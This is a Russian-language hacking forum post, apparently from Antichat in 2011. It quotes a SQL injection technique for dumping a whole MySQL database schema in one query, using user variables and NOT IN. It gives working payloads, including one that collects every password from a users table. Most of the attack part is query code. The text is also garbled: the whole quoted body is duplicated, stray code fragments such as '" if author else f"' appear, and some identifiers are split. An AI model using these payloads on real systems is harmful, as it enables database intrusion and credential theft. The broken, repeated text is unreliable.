Показать сообщение отдельно

  #7  
Старый 29.05.2011, 16:57
Expl0ited
Познавший АНТИЧАТ
Регистрация: 16.07.2010
Сообщений: 1,022
С нами: 8328566

Репутация: 935


По умолчанию

Цитата:
Сообщение от None  
Хочу рассказать вам о новой (может я что-то пропустил?) технике вывода данных при MySQL injection.
Дело в том, что очень неудобно когда при наличии уязвимости в результате мы можем получить всего одну строку за запрос.
Например чтоб получить структуру БД в 5 ветке MySQL, нам придется совершить столько запросов, сколько таблиц в этой самой БД. Ну а о получении имен колонок этих таблиц я уже помалкиваю.
Выходом может быть использование конструкции group_concat, но она имеет ограничение по возвращаемой длине заданное в group_concat_max_len (по умолчанию - 1024) и при огромном количестве таблиц, строка просто обрежется по этой длине.
Обойти это ограничение можно с помощью добавления условий, например table_name>{имя последней полученной таблицы}
Цитата:
Сообщение от None  
select group_concat(table_name) from information_schema.tables
Цитата:
Сообщение от None  
table
table_1
....
table_200
Цитата:
Сообщение от None  
select group_concat(table_name) from information_schema.tables where table_name>'table_200'
Цитата:
Сообщение от None  
table_201
...
table_400
Цитата:
Сообщение от None  
select group_concat(table_name) from information_schema.tables where table_name>'table_400'
...
Еще можно использовать benchmark, типо того:
Цитата:
Сообщение от None  
select concat(@a:=0, @b:=1, benchmark(100, if( (select count(password) from users where id=@a), @b:=concat( (select password from users where id=@a), 0x3a, @b, @a:=@a+1), @a:=@a+1) ) ), cast(@b as char) from users
Но при таком запросе, необходимо чтоб был уникальный числовой ключ.
Или можно ограничивать данные по логическим критериям, чтоб отбирать не все сразу. Но опять же - все делается не одним запросом.
Не буду Вас больше томить тем что Вы и так знаете и покажу о чем я говорю.
Я предлагаю без group_concat и benchmark вывести имена всех таблицы одним запросом.
Запрос строится на пользовательских переменных и условии
NOT IN
( но ручками мы туда вписывать ничего не будем ). Что-то типо цикла - только без явного цикла =)
Скажем для получения всех таблиц БД, запрос будет выглядеть таким образом:
Цитата:
Сообщение от None  
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where table_name not in(
Цитата:
Сообщение от None  
@pro:=concat(@pro,0x2c27,table_name,0x27) ) limit 0,1 ) )fexer
'','CHARACTER_SETS','COLLATIONS',...
" if author else f"
Цитата:
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where table_name not in(
Цитата:
Сообщение от None  
@pro:=concat(@pro,0x2c27,table_name,0x27) ) limit 0,1 ) )fexer
'','CHARACTER_SETS','COLLATIONS',...
@pro
- наша пользовательская переменная
fexer
- требуемый алиас для таблицы
У нас получилась некая рекурсия или цикл (не уверен как именно оно обрабатывается), который склеил все строки в одну переменную, которую мы потом и получили.
При склейке данных ( concat ) запрос примет следующий вид:
Цитата:
Сообщение от None  
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where concat(table_schema,0x2e,table_name) not in( @pro:=concat(@pro,0x2c27,table_schema,0x2e,table_n ame,0x27) ) limit 0,1 ) )fexer
Цитата:
Сообщение от None  
'','information_schema.CHARACTER_SETS','informatio n_schema.COLLATIONS'...
Таким образом, мы можем получить все данные без предварительного запроса их общего количества, уникального численного ключа и ограничения в 1024 символа.
" if author else f"
Цитата:
Хочу рассказать вам о новой (может я что-то пропустил?) технике вывода данных при MySQL injection.
Дело в том, что очень неудобно когда при наличии уязвимости в результате мы можем получить всего одну строку за запрос.
Например чтоб получить структуру БД в 5 ветке MySQL, нам придется совершить столько запросов, сколько таблиц в этой самой БД. Ну а о получении имен колонок этих таблиц я уже помалкиваю.
Выходом может быть использование конструкции group_concat, но она имеет ограничение по возвращаемой длине заданное в group_concat_max_len (по умолчанию - 1024) и при огромном количестве таблиц, строка просто обрежется по этой длине.
Обойти это ограничение можно с помощью добавления условий, например table_name>{имя последней полученной таблицы}
Цитата:
Сообщение от None  
select group_concat(table_name) from information_schema.tables
Цитата:
Сообщение от None  
table
table_1
....
table_200
Цитата:
Сообщение от None  
select group_concat(table_name) from information_schema.tables where table_name>'table_200'
Цитата:
Сообщение от None  
table_201
...
table_400
Цитата:
Сообщение от None  
select group_concat(table_name) from information_schema.tables where table_name>'table_400'
...
Еще можно использовать benchmark, типо того:
Цитата:
Сообщение от None  
select concat(@a:=0, @b:=1, benchmark(100, if( (select count(password) from users where id=@a), @b:=concat( (select password from users where id=@a), 0x3a, @b, @a:=@a+1), @a:=@a+1) ) ), cast(@b as char) from users
Но при таком запросе, необходимо чтоб был уникальный числовой ключ.
Или можно ограничивать данные по логическим критериям, чтоб отбирать не все сразу. Но опять же - все делается не одним запросом.
Не буду Вас больше томить тем что Вы и так знаете и покажу о чем я говорю.
Я предлагаю без group_concat и benchmark вывести имена всех таблицы одним запросом.
Запрос строится на пользовательских переменных и условии
NOT IN
( но ручками мы туда вписывать ничего не будем ). Что-то типо цикла - только без явного цикла =)
Скажем для получения всех таблиц БД, запрос будет выглядеть таким образом:
Цитата:
Сообщение от None  
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where table_name not in(
Цитата:
Сообщение от None  
@pro:=concat(@pro,0x2c27,table_name,0x27) ) limit 0,1 ) )fexer
'','CHARACTER_SETS','COLLATIONS',...
" if author else f"
Цитата:
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where table_name not in(
Цитата:
Сообщение от None  
@pro:=concat(@pro,0x2c27,table_name,0x27) ) limit 0,1 ) )fexer
'','CHARACTER_SETS','COLLATIONS',...
@pro
- наша пользовательская переменная
fexer
- требуемый алиас для таблицы
У нас получилась некая рекурсия или цикл (не уверен как именно оно обрабатывается), который склеил все строки в одну переменную, которую мы потом и получили.
При склейке данных ( concat ) запрос примет следующий вид:
Цитата:
Сообщение от None  
select @pro from ( select @pro:=0x2727, (select null from information_schema.tables where concat(table_schema,0x2e,table_name) not in( @pro:=concat(@pro,0x2c27,table_schema,0x2e,table_n ame,0x27) ) limit 0,1 ) )fexer
Цитата:
Сообщение от None  
'','information_schema.CHARACTER_SETS','informatio n_schema.COLLATIONS'...
Таким образом, мы можем получить все данные без предварительного запроса их общего количества, уникального численного ключа и ограничения в 1024 символа.
(c) profexer 2011
 
Ответить с цитированием